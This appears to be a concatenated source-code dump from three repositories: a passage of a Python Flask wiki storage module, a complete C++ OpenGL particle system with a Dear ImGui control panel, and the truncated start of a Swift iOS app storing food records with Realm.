import sqlalchemy # PyPI: SQLAlchemy
import sqlalchemy.ext.hybrid # PyPI: SQLAlchemy
class Namespace(db.Model):
__tablename__ = 'wiki_namespaces'
name = sqlalchemy.Column(sqlalchemy.String(), primary_key=True)
class Revision(db.Model):
__tablename__ = 'wiki'
id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True)
namespace = sqlalchemy.Column(sqlalchemy.String(), nullable=False)
title = sqlalchemy.Column(sqlalchemy.String(), nullable=False)
text = sqlalchemy.Column(sqlalchemy.String(), nullable=False)
author_snowflake = sqlalchemy.Column('author', sqlalchemy.BigInteger)
timestamp = sqlalchemy.Column(sqlalchemy.TIMESTAMP(timezone=True), nullable=False)
summary = sqlalchemy.Column(sqlalchemy.String())
@property
def author(self):
if self.author_snowflake is not None:
return user_class_constructor(self.author_snowflake)
@author.setter
def author(self, author):
if author is None:
self.author_snowflake = None
else:
self.author_snowflake = author.snowflake
db.create_all()
def exists(namespace, title, revision=None):
if revision is None:
return Revision.query.filter_by(namespace=namespace, title=title).count() > 0
else:
rev = Revision.query.get(revision)
return rev is not None and rev.namespace == namespace and rev.title == title
def history(namespace, title):
return Revision.query.filter_by(namespace=namespace, title=title).order_by(Revision.timestamp).all()
def namespace_exists(namespace):
return Namespace.query.get(namespace) is not None
def namespaces():
for namespace in Namespace.query.order_by(Namespace.name).all():
yield namespace.name, [revision.title for revision in Revision.query.filter_by(namespace=namespace.name).distinct(Revision.title).order_by(Revision.title).all()]
def save(namespace, title, text, author=None, summary=None, created=False):
rev = Revision(
namespace=namespace,
title=title,
text=text,
author=author,
timestamp=datetime.datetime.now(datetime.timezone.utc),
summary=summary
)
db.session.add(rev)
db.session.commit()
if len(inspect.signature(save_hook).parameters) >= 6:
save_hook(namespace, title, text, author, summary, created)
else:
save_hook(namespace, title, text, author, summary)
def source(namespace, title, revision=None):
if revision is None:
return Revision.query.filter_by(namespace=namespace, title=title).order_by(Revision.timestamp.desc()).first().text
else:
return Revision.query.get(revision).text
wiki_index.history = history
wiki_index.MarkdownField = MarkdownField
wiki_index.WikiEditForm = WikiEditForm
wiki_index.exists = exists
wiki_index.has_history = has_history
wiki_index.mentions_to_tags = mentions_to_tags
wiki_index.namespace_exists = namespace_exists
wiki_index.namespaces = namespaces
wiki_index.save = save
wiki_index.source = source
wiki_index.tags_to_mentions = tags_to_mentions
return wiki_index
| 11b1cafb4e36b2f32598d8bc606dbf1b247524e9 | [
"Markdown",
"Python"
] | 3 | Markdown | fenhl/flask-wiki | 25a20d9bc5c6712349b79876025fa35c0f4e2ade | 13bea46f4735a174258af955c40a1abe795e54d3 |
refs/heads/master | <repo_name>borguss2014/ParticleSystem<file_sep>/particle_system.h
#pragma once
#include <iostream>
#include <memory>
#include <vector>
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <glm/gtc/type_ptr.hpp>
#include <glad/glad.h>
#include "timestep.h"
#include "Shader.h"
struct particle_data
{
glm::vec2 position;
glm::vec4 colorBegin;
glm::vec4 colorEnd;
glm::vec2 scaleBegin;
glm::vec2 scaleEnd;
glm::vec2 speed;
int emitQuantity; // Particles per time period
float emissionFrequency;
float totalLife;
float currentLife;
};
enum particle_attribute
{
POSITION = 0x01,
SPEED = 0x02,
COLOR_BEGIN = 0x04,
COLOR_END = 0x08,
SCALE_BEGIN = 0x10,
SCALE_END = 0x20,
EMISSION_RATE = 0x40,
EMISSION_FREQUENCY = 0x80,
TOTAL_LIFE = 0x100
};
struct random_distributions
{
glm::vec2 posXRange = glm::vec2(-80, 80);
glm::vec2 posYRange = glm::vec2(-80, 80);
glm::vec2 speedXRange = glm::vec2(1, 5);
glm::vec2 speedYRange = glm::vec2(1, 5);
glm::vec2 lifeRange = glm::vec2(0.1, 10);
/*glm::vec2 scaleXRange = glm::vec2(0);
glm::vec2 scaleYRange = glm::vec2(4.5, 4.5);
glm::vec4 firstColor = glm::vec4(0.0f, 0.0f, 1.0f, 0.0f);
glm::vec4 lastColor = glm::vec4(1.0f, 0.0f, 0.0f, 1.0f);*/
};
struct particle_system
{
particle_system(int maxParticles = 10000);
// PARTICLE PROPERTIES
int totalParticles;
int lastActiveParticle = -1;
double msElapsed = 0;
bool emitting = false;
bool looping = true;
unsigned short int randomOptions = 0x00;
// PARTICLES
std::unique_ptr<std::vector<glm::vec2>> position;
std::unique_ptr<std::vector<glm::vec2>> speed;
std::unique_ptr<std::vector<glm::vec4>> colorBegin;
std::unique_ptr<std::vector<glm::vec4>> colorEnd;
std::unique_ptr<std::vector<glm::vec4>> color;
std::unique_ptr<std::vector<glm::vec3>> scaleBegin;
std::unique_ptr<std::vector<glm::vec3>> scaleEnd;
std::unique_ptr<std::vector<glm::vec3>> scale;
std::unique_ptr<std::vector<float>> currentLife;
std::unique_ptr<std::vector<float>> totalLife;
std::unique_ptr<std::vector<glm::mat4>> models;
particle_data particleData;
random_distributions rDistr;
void Init();
void Emit();
void CreateParticle(const particle_data& data);
void Update(timestep ts);
void SwapData(const int a, const int b);
void Destroy(const int index);
void Stop();
inline int GetActiveParticles() { return(lastActiveParticle + 1); };
void ParticleBurst(unsigned int nrParticles);
void ClearParticles();
void SetRandom(const particle_attribute attribute, bool value);
void RandomizeParticleAttributes();
void UploadToGPU();
void Render();
GLuint VAO, VBO, EBO, MODELS_VBO, COLORS_VBO;
std::unique_ptr<Shader> particlesShader;
};<file_sep>/timestep.h
#pragma once
#include <iostream>
struct timestep
{
timestep(float time = 0.0f) : time(time) {};
inline float GetSeconds() { return time; };
inline float GetMilliseconds() { return time * 1000.0f; };
float time;
};
<file_sep>/README.md
This is a small standalone particle system I've written for a custom engine called LightCore. For now it's 2D only, but I plan to expand it to 3D
and integrate it with the rest of the engine's subsystems.
DEMO: https://www.youtube.com/watch?v=6_aLi3FME9o
<file_sep>/main.cpp
#include "imgui.h"
#include "imgui_impl_glfw.h"
#include "imgui_impl_opengl3.h"
#include <stdio.h>
#define GLFW_INCLUDE_NONE
#include <glad/glad.h>
#include <GLFW/glfw3.h>
#include <iostream>
#include <string>
#include <fstream>
#include <sstream>
#include "window.h"
#include "Shader.h"
#include "particle_system.h"
float lastTime = 0;
window* window::s_Instance = nullptr;
int main(int argc, char* argv[])
{
window_props windowProps;
#ifdef __APPLE__
windowProps.width = 800;
windowProps.height = 600;
#else
windowProps.width = 1920;
windowProps.height = 1080;
#endif
windowProps.title = "Particle system";
window window;
window.Init(windowProps);
if (!gladLoadGLLoader((GLADloadproc)glfwGetProcAddress)) {
std::cout << "Failed to initialize GLAD" << std::endl;
return -1;
}
// Setup Dear ImGui context
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard; // Enable Keyboard Controls
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad; // Enable Gamepad Controls
// Setup Dear ImGui style
ImGui::StyleColorsDark();
//ImGui::StyleColorsClassic();
const char* glsl_version = "#version 410";
// Setup Platform/Renderer bindings
ImGui_ImplGlfw_InitForOpenGL(window.m_Window, true);
ImGui_ImplOpenGL3_Init(glsl_version);
bool openWindow = true;
bool pSystemEmit = true;
bool randomPos = false;
bool randomSpeed = false;
bool randomParticleLife = false;
particle_data data = {};
data.position = glm::vec2(0.0f, 0.0f);
data.speed = glm::vec2(1, 1);
data.colorBegin = glm::vec4(1.0f, 0.0f, 0.0f, 1.0f);
data.colorEnd = glm::vec4(0.0f, 0.0f, 1.0f, 0.0f);
data.scaleBegin = glm::vec2(0.0f, 0.0f);
data.scaleEnd = glm::vec2(4.5f, 4.5f);
data.totalLife = 3;
data.emitQuantity = 100;
data.emissionFrequency = 10.0f;
particle_system particleSystem;
particleSystem.particleData = data;
particleSystem.looping = true;
particleSystem.Init();
particleSystem.Emit();
glm::vec4 myColor = glm::vec4(0.0f, 0.0f, 0.0f, 1.0f);
ImVec2 pos = ImVec2(0.0f, 0.0f);
ImVec2 size = ImVec2(1000.0f, 1000.0f);
float elapsedTime = 0.0f;
int fps = 0;
int totalFps = 0;
int particleBurstNr = 1;
while (!glfwWindowShouldClose(window.m_Window))
{
glClearColor(myColor.r, myColor.g, myColor.b, myColor.a);
glClear(GL_COLOR_BUFFER_BIT);
float currentTime = glfwGetTime();
float delta = currentTime - lastTime;
lastTime = currentTime;
timestep ts = delta;
elapsedTime += ts.GetMilliseconds();
fps++;
if (elapsedTime >= 1000) {
totalFps = fps;
fps = 0;
elapsedTime = 0;
}
std::stringstream ss;
ss << "FPS: " << totalFps << " | " << "Ms / frame: " << floorf(ts.GetMilliseconds() * 100) / 100;
if (window.mouseState.leftButtonClicked) {
particleSystem.particleData.position = glm::vec2(window.mouseState.xPos, window.mouseState.yPos);
}
// Start the Dear ImGui frame
ImGui_ImplOpenGL3_NewFrame();
ImGui_ImplGlfw_NewFrame();
ImGui::NewFrame();
// RENDERER INFO WINDOW
{
ImGui::Begin("Render device");
ImVec4 textColor = ImVec4(0.0f, 1.0f, 0.0f, 1.0f);
ImGui::TextColored(textColor, "Vendor: "); ImGui::SameLine();
ImGui::Text((char*)glGetString(GL_VENDOR));
ImGui::TextColored(textColor, "Renderer: "); ImGui::SameLine();
ImGui::Text((char*)glGetString(GL_RENDERER));
ImGui::TextColored(textColor, "OpenGL version: "); ImGui::SameLine();
ImGui::Text((char*)glGetString(GL_VERSION));
ImGui::TextColored(textColor, "GLSL version: "); ImGui::SameLine();
ImGui::Text((char*)glGetString(GL_SHADING_LANGUAGE_VERSION));
ImGui::Separator();
ImGui::TextColored(textColor, "Render info: "); ImGui::SameLine();
ImGui::Text(ss.str().c_str());
ImGui::End();
}
// PARTICLE SYSTEM WINDOW
{
ImGui::Begin("Particle system", &openWindow);
ImGui::SetWindowPos(pos, ImGuiCond_FirstUseEver);
ImGui::SetWindowSize(size, ImGuiCond_FirstUseEver);
bool checkboxTicked = ImGui::Checkbox("Continuous Emission", &pSystemEmit);
if (checkboxTicked) {
if (pSystemEmit) {
particleSystem.Emit();
}
else {
particleSystem.Stop();
}
}
ImGui::SameLine();
if (ImGui::Button("Clear")) {
particleSystem.ClearParticles();
}
ImGui::Separator();
// Randomize section
{
ImGui::TextColored(ImVec4(0.0f, 0.0f, 1.0f, 1.0f), "Randomize");
checkboxTicked = ImGui::Checkbox("Emission Origin", &randomPos);
if (checkboxTicked) {
if (randomPos) {
particleSystem.SetRandom(particle_attribute::POSITION, true);
}
else {
particleSystem.SetRandom(particle_attribute::POSITION, false);
particleSystem.particleData.position = glm::vec2(0.0f, 0.0f);
}
}
ImGui::SameLine();
checkboxTicked = ImGui::Checkbox("Speed", &randomSpeed);
if (checkboxTicked) {
if (randomSpeed) {
particleSystem.SetRandom(particle_attribute::SPEED, true);
}
else {
particleSystem.SetRandom(particle_attribute::SPEED, false);
particleSystem.particleData.speed.x = 1;
particleSystem.particleData.speed.y = 1;
}
}
ImGui::SameLine();
checkboxTicked = ImGui::Checkbox("Particle Life", &randomParticleLife);
if (checkboxTicked) {
if (randomParticleLife) {
particleSystem.SetRandom(particle_attribute::TOTAL_LIFE, true);
}
else {
particleSystem.SetRandom(particle_attribute::TOTAL_LIFE, false);
particleSystem.particleData.totalLife = 3;
}
}
ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_None;
if (ImGui::BeginTabBar("RandomTabBar", tab_bar_flags))
{
if (ImGui::BeginTabItem("Particles origin"))
{
ImGui::InputFloat2("X", (float*)&particleSystem.rDistr.posXRange);
ImGui::InputFloat2("Y", (float*)&particleSystem.rDistr.posYRange);
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Speed"))
{
ImGui::InputFloat2("X", (float*)&particleSystem.rDistr.speedXRange);
ImGui::InputFloat2("Y", (float*)&particleSystem.rDistr.speedYRange);
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Life"))
{
ImGui::InputFloat2("Range", (float*)&particleSystem.rDistr.lifeRange);
ImGui::EndTabItem();
}
/*if (ImGui::BeginTabItem("Scale"))
{
ImGui::InputFloat2("Min", (float*)&particleSystem.rDistr.minScale);
ImGui::InputFloat2("Max", (float*)&particleSystem.rDistr.maxScale);
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Color"))
{
ImGui::InputFloat2("First", (float*)&particleSystem.rDistr.firstColor);
ImGui::InputFloat2("Last", (float*)&particleSystem.rDistr.lastColor);
ImGui::EndTabItem();
}*/
ImGui::EndTabBar();
}
}
ImGui::Separator();
// System control
{
ImGui::TextColored(ImVec4(0.0f, 0.0f, 1.0f, 1.0f), "System control");
ImGui::DragInt("", &particleBurstNr, 0.2f, 0.0f, 1000.0f, "%.d");
ImGui::SameLine();
if (ImGui::Button("Particle burst")) {
particleSystem.ParticleBurst(particleBurstNr);
}
ImGui::DragInt("Nr. particles", (int*)&particleSystem.particleData.emitQuantity, 0.2f, 0.0f, particleSystem.totalParticles, "%.d");
ImGui::DragFloat("Timeframe", (float*)&particleSystem.particleData.emissionFrequency, 0.2f, 0.0f, 100.0f, "%.2f", 1.0f);
ImGui::InputFloat2("Position", (float*)&particleSystem.particleData.position);
ImGui::InputFloat2("Speed", (float*)&particleSystem.particleData.speed);
ImGui::InputFloat2("Start scale", (float*)&particleSystem.particleData.scaleBegin);
ImGui::InputFloat2("End scale", (float*)&particleSystem.particleData.scaleEnd);
ImGui::ColorEdit4("Start color", (float*)&particleSystem.particleData.colorBegin);
ImGui::ColorEdit4("End color", (float*)&particleSystem.particleData.colorEnd);
ImGui::DragFloat("Particle life", (float*)&particleSystem.particleData.totalLife, 0.2f, 0.0f, 100.0f, "%.2f", 1.0f);
ImGui::Separator();
ImGui::ColorEdit4("BACKGROUND COLOR", (float*)&myColor);
if (ImGui::Button("Close")) {
glfwSetWindowShouldClose(window.m_Window, true);
}
}
ImGui::End();
}
ImGui::Render();
ImGui_ImplOpenGL3_RenderDrawData(ImGui::GetDrawData());
particleSystem.Update(ts);
glfwPollEvents();
glfwSwapBuffers(window.m_Window);
}
ImGui_ImplOpenGL3_Shutdown();
ImGui_ImplGlfw_Shutdown();
ImGui::DestroyContext();
glfwDestroyWindow(window.m_Window);
glfwTerminate();
return 0;
}<file_sep>/particle_system.cpp
#include "particle_system.h"
#include "window.h"
#include <random>
#define VERTEX_COMPONENTS 2
#define COLOR_COMPONENTS 4
#define VERTICES_PER_QUAD 4
#define INDICES_PER_QUAD 6
std::default_random_engine generator;
std::uniform_real_distribution<double> distribution(-10.0, 10.0);
particle_system::particle_system(int maxParticles)
: totalParticles(maxParticles)
{
position = std::make_unique<std::vector<glm::vec2>>();
speed = std::make_unique<std::vector<glm::vec2>>();
colorBegin = std::make_unique<std::vector<glm::vec4>>();
colorEnd = std::make_unique<std::vector<glm::vec4>>();
color = std::make_unique<std::vector<glm::vec4>>();
scaleBegin = std::make_unique<std::vector<glm::vec3>>();
scaleEnd = std::make_unique<std::vector<glm::vec3>>();
scale = std::make_unique<std::vector<glm::vec3>>();
currentLife = std::make_unique<std::vector<float>>();
totalLife = std::make_unique<std::vector<float>>();
models = std::make_unique<std::vector<glm::mat4>>();
position ->resize(totalParticles);
speed ->resize(totalParticles);
colorBegin ->resize(totalParticles);
colorEnd ->resize(totalParticles);
color ->resize(totalParticles);
scaleBegin ->resize(totalParticles);
scaleEnd ->resize(totalParticles);
scale ->resize(totalParticles);
currentLife ->resize(totalParticles);
totalLife ->resize(totalParticles);
models ->resize(totalParticles);
}
void particle_system::Init()
{
int vertexAttribIndex = 0;
int colorAttribIndex = 1;
float pVerts[] = {
0.5f, 0.5f,
0.5f, -0.5f,
-0.5f, -0.5f,
-0.5f, 0.5f,
};
unsigned int pIndices[] = {
0, 1, 3,
1, 2, 3
};
glGenVertexArrays(1, &VAO);
glGenBuffers(1, &VBO);
glGenBuffers(1, &EBO);
glGenBuffers(1, &MODELS_VBO);
glGenBuffers(1, &COLORS_VBO);
glBindVertexArray(VAO);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, EBO);
glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(pIndices), pIndices, GL_STATIC_DRAW);
glBindBuffer(GL_ARRAY_BUFFER, VBO);
glBufferData(GL_ARRAY_BUFFER, sizeof(pVerts), pVerts, GL_STATIC_DRAW);
glEnableVertexAttribArray(vertexAttribIndex);
glVertexAttribPointer(vertexAttribIndex,
VERTEX_COMPONENTS,
GL_FLOAT,
GL_FALSE,
VERTEX_COMPONENTS * sizeof(GLfloat),
(void*)0);
glBindBuffer(GL_ARRAY_BUFFER, COLORS_VBO);
glBufferData(GL_ARRAY_BUFFER, totalParticles * sizeof(glm::vec4), nullptr, GL_STREAM_DRAW);
glEnableVertexAttribArray(colorAttribIndex);
glVertexAttribPointer(colorAttribIndex,
COLOR_COMPONENTS,
GL_FLOAT,
GL_FALSE,
COLOR_COMPONENTS * sizeof(GLfloat),
(void*)0);
glVertexAttribDivisor(colorAttribIndex, 1);
glBindBuffer(GL_ARRAY_BUFFER, MODELS_VBO);
glBufferData(GL_ARRAY_BUFFER, totalParticles * sizeof(glm::mat4), nullptr, GL_STREAM_DRAW);
glEnableVertexAttribArray(2);
glVertexAttribPointer(2, 4, GL_FLOAT, GL_FALSE, sizeof(glm::mat4), (void*)0);
glEnableVertexAttribArray(3);
glVertexAttribPointer(3, 4, GL_FLOAT, GL_FALSE, sizeof(glm::mat4), (void*)(sizeof(glm::vec4)));
glEnableVertexAttribArray(4);
glVertexAttribPointer(4, 4, GL_FLOAT, GL_FALSE, sizeof(glm::mat4), (void*)(2 * sizeof(glm::vec4)));
glEnableVertexAttribArray(5);
glVertexAttribPointer(5, 4, GL_FLOAT, GL_FALSE, sizeof(glm::mat4), (void*)(3 * sizeof(glm::vec4)));
glVertexAttribDivisor(2, 1);
glVertexAttribDivisor(3, 1);
glVertexAttribDivisor(4, 1);
glVertexAttribDivisor(5, 1);
glBindVertexArray(0);
glBindBuffer(GL_ARRAY_BUFFER, 0);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0);
particlesShader = std::make_unique<Shader>("Shaders/vertex.glsl", "Shaders/fragment.glsl");
glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE);
std::cout << "Particle system initialized" << std::endl;
}
void particle_system::Emit()
{
if (!looping) {
CreateParticle(particleData);
std::cout << "Particle @ index " << lastActiveParticle << " created" << std::endl;
}
emitting = true;
}
void particle_system::CreateParticle(const particle_data& data)
{
int firstInactivePIndex = lastActiveParticle + 1;
(*position)[firstInactivePIndex] = data.position;
(*speed)[firstInactivePIndex] =
glm::vec2(distribution(generator) * data.speed.x, distribution(generator) * data.speed.y);
(*colorBegin)[firstInactivePIndex] = data.colorBegin;
(*colorEnd)[firstInactivePIndex] = data.colorEnd;
(*scaleBegin)[firstInactivePIndex] = glm::vec3(data.scaleBegin, 0.0f);
(*scaleEnd)[firstInactivePIndex] = glm::vec3(data.scaleEnd, 0.0f);
(*currentLife)[firstInactivePIndex] = data.totalLife;
(*totalLife)[firstInactivePIndex] = data.totalLife;
glm::mat4 model = glm::mat4(1.0f);
model = glm::translate(model, glm::vec3(data.position, 0.0f));
model = glm::scale(model, glm::vec3(data.scaleEnd, 0.0f));
(*models)[firstInactivePIndex] = model;
lastActiveParticle++;
}
void particle_system::Update(timestep ts)
{
float delta = ts.GetSeconds();
msElapsed += ts.GetMilliseconds();
// Particle state update
for (int i = 0; i <= lastActiveParticle; i++) {
float remainingLife = (*currentLife)[i];
if (remainingLife <= 0.0f) {
Destroy(i);
}
(*currentLife)[i] -= delta;
(*position)[i] += (*speed)[i] * delta;
// Lerp begin & end colors based on remaining life
(*color)[i] = glm::mix((*colorEnd)[i], (*colorBegin)[i], (*currentLife)[i] / (*totalLife)[i]);
(*scale)[i] = glm::mix((*scaleEnd)[i], (*scaleBegin)[i], (*currentLife)[i] / (*totalLife)[i]);
glm::mat4 model = glm::mat4(1.0f);
model = glm::translate(model, glm::vec3((*position)[i], 0.0f));
model = glm::scale(model, (*scale)[i]);
(*models)[i] = model;
}
//printf("State updated \n");
// Timed particle emission
if (emitting) {
if (lastActiveParticle + 1 < totalParticles) {
if (msElapsed >= ((particleData.emissionFrequency * 1000) / particleData.emitQuantity) && looping) {
if (!(randomOptions & 0x00)) {
RandomizeParticleAttributes();
}
CreateParticle(particleData);
msElapsed = 0;
// std::cout << "Particle @ index " << lastActiveParticle << " created" << std::endl;
}
}
else {
//std::cout << "Limit reached! Cannot add more particles" << std::endl;
}
}
UploadToGPU();
Render();
}
void particle_system::Destroy(const int index)
{
if (lastActiveParticle > 0) {
SwapData(index, lastActiveParticle);
//std::cout << "Particle destroy: Swapping particle @ " << index << " with " << lastActiveParticle << std::endl;
}
else {
//std::cout << "Destroy last particle" << std::endl;
}
lastActiveParticle--;
}
void particle_system::Stop()
{
emitting = false;
}
void particle_system::ParticleBurst(unsigned int nrParticles)
{
for (int i = 0; i < nrParticles; i++) {
CreateParticle(particleData);
}
}
void particle_system::ClearParticles()
{
lastActiveParticle = -1;
}
void particle_system::SwapData(const int a, const int b)
{
std::swap((*position)[a], (*position)[b]);
std::swap((*speed)[a], (*speed)[b]);
std::swap((*colorBegin)[a], (*colorBegin)[b]);
std::swap((*colorEnd)[a], (*colorEnd)[b]);
std::swap((*color)[a], (*color)[b]);
std::swap((*scaleBegin)[a], (*scaleBegin)[b]);
std::swap((*scaleEnd)[a], (*scaleEnd)[b]);
std::swap((*scale)[a], (*scale)[b]);
std::swap((*currentLife)[a], (*currentLife)[b]);
std::swap((*totalLife)[a], (*totalLife)[b]);
std::swap((*models)[a], (*models)[b]);
}
void particle_system::SetRandom(const particle_attribute attribute, bool enabled)
{
if (enabled) {
randomOptions = randomOptions | attribute;
}
else {
randomOptions = randomOptions & ~attribute;
}
}
void particle_system::RandomizeParticleAttributes()
{
if (randomOptions & POSITION) {
float wWidth = window::s_Instance->windowProperties.width;
float wHeight = window::s_Instance->windowProperties.height;
// TODO: Positions should be based on screen coordinates
std::uniform_real_distribution<double> pos_randX(rDistr.posXRange.x, rDistr.posXRange.y);
std::uniform_real_distribution<double> pos_randY(rDistr.posYRange.x, rDistr.posYRange.y);
particleData.position.x = pos_randX(generator);
particleData.position.y = pos_randY(generator);
}
if (randomOptions & SPEED) {
std::uniform_real_distribution<double> speed_randX(rDistr.speedXRange.x, rDistr.speedXRange.y);
std::uniform_real_distribution<double> speed_randY(rDistr.speedYRange.x, rDistr.speedYRange.y);
particleData.speed.x = speed_randX(generator);
particleData.speed.y = speed_randY(generator);
}
if (randomOptions & TOTAL_LIFE) {
std::uniform_real_distribution<double> particleLifeRand(rDistr.lifeRange.x, rDistr.lifeRange.y);
particleData.totalLife = particleLifeRand(generator);
}
/* if (randomOptions & SCALE_BEGIN) {
}
if (randomOptions & SCALE_END) {
}
if (randomOptions & COLOR_BEGIN) {
}
if (randomOptions & COLOR_END) {
}*/
}
void particle_system::UploadToGPU()
{
glBindVertexArray(VAO);
glBindBuffer(GL_ARRAY_BUFFER, COLORS_VBO);
glBufferSubData(GL_ARRAY_BUFFER,
0,
color->size() * sizeof(glm::vec4),
&(*color)[0]);
glBindBuffer(GL_ARRAY_BUFFER, MODELS_VBO);
glBufferSubData(GL_ARRAY_BUFFER,
0,
models->size() * sizeof(glm::mat4),
&(*models)[0]);
}
void particle_system::Render()
{
particlesShader->Bind();
glm::mat4 view = glm::mat4(1.0f);
glm::mat4 projection = glm::mat4(1.0f);
float wWidth = window::s_Instance->windowProperties.width;
float wHeight = window::s_Instance->windowProperties.height;
view = glm::translate(view, glm::vec3(0.0f, 0.0f, 0.0f));
projection = glm::ortho(0.0f, wWidth, wHeight, 0.0f);
int viewLoc = glGetUniformLocation(particlesShader->ID, "view");
int projLoc = glGetUniformLocation(particlesShader->ID, "projection");
glUniformMatrix4fv(viewLoc, 1, GL_FALSE, glm::value_ptr(view));
glUniformMatrix4fv(projLoc, 1, GL_FALSE, glm::value_ptr(projection));
glBindVertexArray(VAO);
glDrawElementsInstanced(GL_TRIANGLES, 6, GL_UNSIGNED_INT, 0, totalParticles);
//glDrawArraysInstanced(GL_TRIANGLES, 0, 4, totalParticles);
glBindVertexArray(0);
}<file_sep>/window.h
#pragma once
#include <string>
struct GLFWwindow;
struct window_props
{
int width = 0;
int height = 0;
std::string title;
};
struct mouse_state
{
double xPos = 0;
double yPos = 0;
bool leftButtonClicked = false;
};
struct window
{
void Init(window_props props);
GLFWwindow* m_Window;
window_props windowProperties;
mouse_state mouseState;
static window* s_Instance;
};<file_sep>/imgui.ini
[Window][Render device]
Pos=19,14
Size=341,125
Collapsed=0
[Window][Particle system]
Pos=1298,10
Size=608,494
Collapsed=0
[Window][Debug##Default]
Pos=60,60
Size=400,400
Collapsed=0
[Window][Dear ImGui Demo]
Pos=191,234
Size=550,680
Collapsed=0
[Window][About Dear ImGui]
Pos=246,599
Size=569,442
Collapsed=0
[Window][Dear ImGui Metrics]
Pos=364,224
Size=914,601
Collapsed=0
<file_sep>/window.cpp
#ifdef __APPLE__
#define GL_SILENCE_DEPRECATION
#endif
#include "window.h"
#include <iostream>
#include <GLFW/glfw3.h>
void key_callback(GLFWwindow* window, int key, int scancode, int action, int mods);
void framebuffer_callback(GLFWwindow* window, int width, int height);
void cursor_callback(GLFWwindow* window, double xpos, double ypos);
void mouse_buttons_callback(GLFWwindow* window, int button, int action, int mods);
void window::Init(window_props props)
{
#ifdef __APPLE__
int screenWidth = 1920;
int screenHeight = 1080;
#else
int screenWidth = 3840;
int screenHeight = 2160;
#endif
windowProperties = props;
if (s_Instance == nullptr) {
s_Instance = this;
}
if (!glfwInit()) {
std::cout << "Glfw not initialized" << std::endl;
}
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 4);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 1);
glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);
glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GLFW_TRUE);
m_Window = glfwCreateWindow(props.width, props.height, props.title.c_str(), nullptr, nullptr);
if (m_Window == nullptr) {
std::cout << "Window couldn't be created" << std::endl;
glfwTerminate();
}
glfwSetWindowUserPointer(m_Window, (void*)&mouseState);
glfwMakeContextCurrent(m_Window);
glViewport(0, 0, props.width, props.height);
glfwSwapInterval(0);
glfwSetKeyCallback(m_Window, key_callback);
glfwSetCursorPosCallback(m_Window, cursor_callback);
glfwSetMouseButtonCallback(m_Window, mouse_buttons_callback);
glfwSetFramebufferSizeCallback(m_Window, framebuffer_callback);
glfwSetWindowPos(m_Window, screenWidth / 2 - props.width / 2, screenHeight / 2 - props.height / 2);
glfwSetWindowTitle(m_Window, windowProperties.title.c_str());
glfwGetCursorPos(m_Window, &mouseState.xPos, &mouseState.yPos);
}
void key_callback(GLFWwindow* window, int key, int scancode, int action, int mods)
{
if (key == GLFW_KEY_ESCAPE && action == GLFW_PRESS)
{
glfwSetWindowShouldClose(window, true);
}
}
void cursor_callback(GLFWwindow* window, double xpos, double ypos)
{
mouse_state* state = (mouse_state*)glfwGetWindowUserPointer(window);
state->xPos = xpos;
state->yPos = ypos;
}
void mouse_buttons_callback(GLFWwindow* window, int button, int action, int mods)
{
mouse_state* state = (mouse_state*)glfwGetWindowUserPointer(window);
if (button == GLFW_MOUSE_BUTTON_LEFT) {
if (action == GLFW_PRESS) {
state->leftButtonClicked = true;
}
else if (action == GLFW_RELEASE) {
state->leftButtonClicked = false;
}
}
}
void framebuffer_callback(GLFWwindow* window, int width, int height)
{
glViewport(0, 0, width, height);
} | da61c34472dc44df93605aeddf7db82843ff6544 | [
"Markdown",
"C++",
"INI"
] | 8 | C++ | borguss2014/ParticleSystem | 189a53027da099ccd85d2bc7daa497565a68b9d6 | d8427e6741a8ce22feea74a1b426c760df733214 |
refs/heads/master | <file_sep>//
// VCMenuPresenter.swift
// RealIOS
//
// Created by <NAME> on 18/11/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import Foundation
import RealmSwift
protocol VCMenuDelegate{
func SuccessProcess(message:String)
func FailedProcess(message:String)
}
class VCMenuPresenter:NSObject{
var foods:Results<Food>?;
let realm = try! Realm();
var selectedFood:Food?;
var delegate:VCMenuDelegate?;
override init() {
super.init();
self.foods=Food.all(in:self.realm);
}
}
//MARK: -CRUD Food Realm
extension VCMenuPresenter{
func LoadData(searchText:String){
if searchText.count > 0{
self.foods=Food.likeName(in: self.realm,searchText: searchText);
}else{
self.foods=Food.all(in: self.realm);
}
}
func SaveNew(food:Food){
if Food.save(in:self.realm, food: food){
self.delegate?.SuccessProcess(message:"New food added");
}else{
self.delegate?.FailedProcess(message:"Cannot save food")
}
}
func RemoveData(index:Int){
if Food.remove(in: self.realm, food: self.foods![index]) {
self.delegate?.SuccessProcess(message:"Food Removed!");
}else{
self.delegate?.FailedProcess(message:"Cannot remove food please try again")
}
}
}
//MARK: -UIAlert Func
extension VCMenuPresenter{
func CreateUIAlertMessage(message:String)->UIAlertController{
let uialert=UIAlertController(title: message, message: "", preferredStyle: .alert)
let okAction=UIAlertAction(title: "OK", style: .default, handler: {
(action) in
})
uialert.addAction(okAction);
return uialert
}
}
<file_sep>//
// Food.swift
// RealIOS
//
// Created by <NAME> on 23/10/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import Foundation
import RealmSwift
class Food:Object{
//dynamic allows this variable to be monitored at runtime
@objc dynamic var name:String = "";
var isSelected:Bool=false;
//forward relationship
var ingredients=List<Ingredients>();
convenience init(name:String){
self.init();
self.name=name;
}
func set(name:String){
self.name=name;
}
//MARK: -Food Functionality
static func all(in realm: Realm = try! Realm()) -> Results<Food> {
return realm.objects(Food.self).sorted(byKeyPath: "name");
}
